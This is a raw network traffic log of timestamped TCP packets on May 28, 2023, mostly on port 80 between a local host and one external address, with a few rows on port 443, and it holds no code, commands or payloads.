May 28, 2023 10:42:43.417541981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417582035 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417584896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417629957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417669058 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417675018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417720079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417762041 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417769909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417815924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417856932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417857885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417905092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417943954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417948961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417994022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418034077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418039083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418083906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418123960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418128967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418174028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418214083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418216944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418261051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418299913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418308020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418353081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418395042 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418396950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418441057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418481112 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418486118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418530941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418570042 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418574095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418618917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418658972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418662071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418708086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418746948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418751955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418796062 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418797016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418837070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418842077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418885946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418926954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.418927908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.418972969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419012070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.419017076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419061899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419105053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.419106007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419151068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419188976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.419194937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419239998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419286966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.419289112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419332981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419375896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419375896 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.419421911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419462919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.419847012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419892073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.419936895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.422319889 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.444005013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444109917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444156885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444200993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444247007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444288969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.444288969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.444317102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444360971 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.444363117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444410086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444454908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444458008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.444502115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444547892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444592953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444672108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444672108 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.444717884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444761038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444806099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444848061 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.444850922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444899082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444941044 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.444941998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.444988966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445029974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445033073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445080042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445121050 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445126057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445173979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445215940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445218086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445265055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445308924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445313931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445360899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445400953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445405960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445453882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445492983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445497990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445544004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445585012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445589066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445633888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445677996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445681095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445722103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445765018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445765972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445811987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445852995 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445854902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445902109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445946932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.445986986 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.445990086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446038008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446079016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446080923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446126938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446171045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446175098 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446214914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446216106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446261883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446304083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446310043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446355104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446399927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446400881 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446458101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446501017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446504116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446544886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446588993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446633101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446675062 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446677923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446722984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446768045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446768045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446814060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446856976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446861029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.446906090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446949959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.446993113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447035074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447037935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447083950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447124958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447128057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447174072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447212934 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447216034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447262049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447304010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447310925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447356939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447401047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447443008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447444916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447489977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447498083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447535992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447576046 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447581053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447627068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447665930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447670937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447716951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447761059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447803974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447845936 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447848082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447894096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447936058 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447937012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.447978020 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.447982073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448021889 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.448026896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448072910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448113918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.448117018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448160887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448204041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448246956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448301077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.448316097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448362112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448405981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448450089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448494911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448498011 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.448540926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.448584080 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.452320099 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.456317902 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.456442118 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.457504988 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.457659960 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.457751036 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.463129044 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.473035097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473084927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473134995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473143101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473181963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473227978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473273039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473273993 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473315954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473325968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473371029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473411083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473417044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473479033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473526001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473575115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473618031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473620892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473669052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473716021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473726988 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473762989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473804951 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473809004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473856926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473901987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473937035 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473948002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.473988056 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.473997116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474045038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474083900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.474092960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474139929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474150896 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.474185944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474232912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474282026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474323988 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.474328995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474374056 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.474375963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474422932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474468946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474514008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474555016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.474560022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474606991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474647999 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.474653006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474699974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474745989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474792004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474833965 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.474838972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474885941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474931002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.474931002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.474982977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475027084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475073099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475112915 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475120068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475167990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475214958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475219011 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475260973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475302935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475311995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475358963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475399971 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475404024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475451946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475492001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475497007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475544930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475585938 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475590944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475637913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475683928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475728989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475770950 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475774050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475821018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475861073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475866079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475913048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.475955009 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.475960016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476006031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476047039 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476052046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476099014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476139069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476144075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476191044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476231098 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476237059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476315022 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476319075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476366997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476413012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476458073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476459026 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476504087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476543903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476550102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476597071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476634979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476643085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476689100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476732969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476735115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476782084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476825953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476830006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476871967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476917028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.476948977 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.476962090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477008104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477049112 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.477051973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477092981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.477098942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477145910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477190018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477190018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.477236032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.477250099 CEST	49704	80	192.168.2.3	45.9.74.80
